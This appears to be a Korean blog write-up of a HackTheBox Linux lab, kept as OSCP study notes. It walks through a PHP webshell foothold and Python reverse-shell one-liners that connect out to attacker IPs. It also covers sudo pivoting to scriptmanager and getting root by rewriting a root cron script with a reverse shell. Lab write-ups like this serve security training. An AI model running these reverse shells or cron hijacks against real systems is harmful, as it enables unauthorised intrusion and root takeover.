* 리버스 쉘도 여러가지 방법이 있다.
- basic이 안된다면 설치된 프로그래밍을 고려하여 다른 방법을 테스트 해보자.
* sudo 사용을 통한 권한 상승
* 크론잡이 되는지 확인하는 방법?
- 홈 디렉토리 체크
- 최근에 변경된 파일 확인
sudo를 사용해 사용 가능한 권한
sudo -l
scriptmanager
script 매니저로 변경
sudo -u scriptmanager
콘솔에서할 경우
sudo -u scriptmanager bash -i
phpbash
Using phpbash to gain a full shell is trivial.
Simply using one of many connect-back commands or using phpbash to grab a Meterpreter stager will grant access as the www-data user.
* phpbash에서 nc 연결이 안됨 (브라우저에 출력을 위한 소스때문으로 추정)
=> pentest monkey의 phpwebshell을 이용
콘솔 웹쉘 접속
curl -vsk [webshell.php]
=> 다른 애들은 되는데 나는 왜 안되지? 서버 수정됬나...
WARNING: Failed to daemonise. This is quite common and not fatal.
Connection refused (111)
파이썬이 설치되어 있으므로 다른 리버스 쉘 방법 시도
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.27”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
권한상승
- linPEAS, LinEnum을 통해 수상한 파일 체크
test.py
1. 스크립트가 내용을 확인하면 test.txt로 파일을 저장함.
2. 그런데 test.txt가 root 소유의 파일로 저장되어 있음
여기서 해당 파일이 cronjob에 의한 test.py 실행으로 저장되는 것을 추측하거나
다른 방법으로 (CTF 스크립트 따위) 실제 실행중인 프로세스인지 확인해야 알 수 있다.
공식 롸이트업: test.txt의 타임스탬프를 확인하면 매분마다 실행되는 것을 보고 크론잡의 작업을 추측할 수 있다.
test.py 스크립트를 처음에 리버스쉘한 방법으로 똑같이 스크립트 입력하여 수정한다.
Fully interactive shell
vi편집기를 사용하려면 터미널 싱크를 맞춰줘야 한다.
=> 하지만 넘 느리다.
처음 www쉘 들어온 상태에서
# Enter while in reverse shell
1. python -c 'import pty; pty.spawn("/bin/bash")'
2. Ctrl-Z
3. # In Kali
stty raw -echo
fg
fg
4. # In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
싱크가 맞춰 줬으면 test.py 스크립트 파일 수정
import socket,subprocess,os
f = open("test.txt","w") <= 별의미 없다. 크론잡이 실행됬는지 확인용
f.write("privesc") <= 별의미 없다
f.close <= 별의미 없다.
#밑에서부터가 cronjob이 루트권한으로 리버스 쉘을 열어줄 것을 기대
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.35",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
=> 싱크를 맞춰도 속도가 너무 ㅈ같으므로 그냥 kali에서 스크립트 작성 후
업로드 하는 것이 빠름
공식 롸이트업
Exploring directories on the target quickly reveals /scripts , which is owned by the scriptmanager user.
The command sudo -l reveals that the www-data user can run any command as scriptmanager .
Running the command sudo -u scriptmanager bash -i will spawn a bash shell and give full read/write access to /scripts
Looking at the information of the files in the directory shows that test.py appears to be executed every minute.
This can be inferred by reading test.py and looking at the timestamp of test.txt .
The text file is owned by root, so it can also be assumed that it is run as a root cron job.
A root shell can be obtained simply by modifying test.py or creating a new Python file in the /scripts directory, as all scripts in the directory are executed.
'OSCP > HackTheBox' 카테고리의 다른 글
[Linux] SolidState (0) | 2020.08.25 |
---|---|
[Windows] Jeeves (0) | 2020.06.11 |
[Linux] Shocker (0) | 2020.05.29 |
[Linux] Mirai (포렌식) (0) | 2020.05.29 |
[Windows] Grandpa & Granny (0) | 2020.05.25 |